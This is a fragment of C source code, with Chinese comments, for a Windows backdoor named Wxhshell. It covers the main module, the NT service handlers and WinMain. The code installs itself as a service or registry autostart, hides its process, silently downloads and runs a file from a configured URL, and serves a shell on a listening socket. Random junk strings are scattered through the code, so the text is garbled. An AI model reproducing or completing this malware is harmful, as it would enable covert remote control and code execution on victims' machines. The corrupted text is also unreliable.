U$mtW 1C+Y|p?KA return 0; // 注册表启动 |J2_2a/" } a*hOT_;# h8>7si // 主模块 u7G@VZ Ux5 int StartWxhshell(LPSTR lpCmdLine) 'vj45b { L?&+*|VxI SOCKET wsl; .Tt \U BOOL val=TRUE; x3T)/'( int port=0; ,eOOV@3C struct sockaddr_in door; >i~W$;t `,H\j? if(wscfg.ws_autoins) Install(); 5%(J +d NuI9"I/ port=atoi(lpCmdLine); EU]{S=T H,txbJ if(port<=0) port=wscfg.ws_port; w/KHS#~
S%uH*&` WSADATA data; sR,]eo<p& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; * X\i=
K! 1i#uKKwE if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :s+AIo6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rxC EOG door.sin_family = AF_INET; jV8mn{< door.sin_addr.s_addr = inet_addr("127.0.0.1"); +`9
]L]J]4 door.sin_port = htons(port); 2<>n8 K X}p#9^%N if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %Fq"4% closesocket(wsl); -[i9a:eRM return 1; SSycQ4[{o } }
IFZ$Y xy46].x- if(listen(wsl,2) == INVALID_SOCKET) { wx -NUTRim closesocket(wsl); z %{>d#rw return 1; Z"'rc.>a } jVL<7@_* Wxhshell(wsl); ^"v~hjM# WSACleanup(); UevbLt1Y TYWajcch return 0; *XS@Ku P482D) } iN+Dmq5 LP_d}ve // 以NT服务方式启动 mfFC@~|g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #9}KC 9f { QD]Vfj4+ DWORD status = 0; mu)?SGpyE DWORD specificError = 0xfffffff; 4Ub_;EI> *$/7;CLq serviceStatus.dwServiceType = SERVICE_WIN32; yw"FI!M serviceStatus.dwCurrentState = SERVICE_START_PENDING; >WE3$Q>bi serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y/mxdPw serviceStatus.dwWin32ExitCode = 0; G%S=K2v serviceStatus.dwServiceSpecificExitCode = 0; +e<P7}ZQ serviceStatus.dwCheckPoint = 0; Fzh%#z0
serviceStatus.dwWaitHint = 0; 9vCn^G%B {=IK(H hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >`n0{:.1za if (hServiceStatusHandle==0) return; ##Z:/SU R"e~0WO status = GetLastError(); SEXeK2v if (status!=NO_ERROR) a1M-F3 { }|H]>U& serviceStatus.dwCurrentState = SERVICE_STOPPED; (`GO@ serviceStatus.dwCheckPoint = 0; v3[Z]+ ] serviceStatus.dwWaitHint = 0; gg'lb{oG serviceStatus.dwWin32ExitCode = status; 9X,dV7 yW serviceStatus.dwServiceSpecificExitCode = specificError; Y oNg3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); T
nAd! return; d]VL(& } \hQ[5> cZ\#074u/ serviceStatus.dwCurrentState = SERVICE_RUNNING; wX8T;bo& serviceStatus.dwCheckPoint = 0; ~/Aw[>_; serviceStatus.dwWaitHint = 0; Qc\JUm] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ':!w%& \ } 6hXL`A&}, y`:}~nUdT // 处理NT服务事件,比如:启动、停止 %/~6Qq VOID WINAPI NTServiceHandler(DWORD fdwControl) Et(Q$/W { -q&VV, switch(fdwControl) 6AqHzeh { [|d:QFx case SERVICE_CONTROL_STOP: wblEx/FqE^ serviceStatus.dwWin32ExitCode = 0; "@W0Lk[ serviceStatus.dwCurrentState = SERVICE_STOPPED; D^=_408\ serviceStatus.dwCheckPoint = 0; L{bcmo\U serviceStatus.dwWaitHint = 0; Nz#T)MGO` { cbsy&U SetServiceStatus(hServiceStatusHandle, &serviceStatus); zBay 3a } G5ebb6[+ return; b=:AFs{ case SERVICE_CONTROL_PAUSE: N/DcaHFYo serviceStatus.dwCurrentState = SERVICE_PAUSED; yJWgz`/L break; 15r,_Gp8 case SERVICE_CONTROL_CONTINUE: hdW",Bf' serviceStatus.dwCurrentState = SERVICE_RUNNING; }+#-\a2 break; qg:R+`z case SERVICE_CONTROL_INTERROGATE: *GbC`X) break; # ,u7lAz }; Y"D'|i SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8."z"i3lE } r|:|\"Yk A`Z!=og= // 标准应用程序主函数 ]7O)iq% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W)1)zOD { zAC 9'o!9_j // 获取操作系统版本 cE/7B'cR OsIsNt=GetOsVer(); m'KY;C GetModuleFileName(NULL,ExeFile,MAX_PATH); y1,L0v$=} @y;N
u // 从命令行安装 l]WVgu if(strpbrk(lpCmdLine,"iI")) Install(); #w*1 !
t@#sKdv // 下载执行文件 %O%+TR7Z if(wscfg.ws_downexe) { ED"@!M`1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <>A:Oi3^ WinExec(wscfg.ws_filenam,SW_HIDE); a k@0M[d } @j`_)Y\ oR5hMu;j+ if(!OsIsNt) { Z{EHV7 // 如果时win9x,隐藏进程并且设置为注册表启动 f*Xonb HideProc(); i?z3!`m StartWxhshell(lpCmdLine); Kw3fpNd } ^-w:D else El Z'/l*\ if(StartFromService()) /v:g' #n // 以服务方式启动 r7c(/P^$G StartServiceCtrlDispatcher(DispatchTable); }+nC}A"BC else NO P~?p // 普通方式启动 pB|L%#.cW StartWxhshell(lpCmdLine); w8wF;:> Vg#s return 0; W*QD' }
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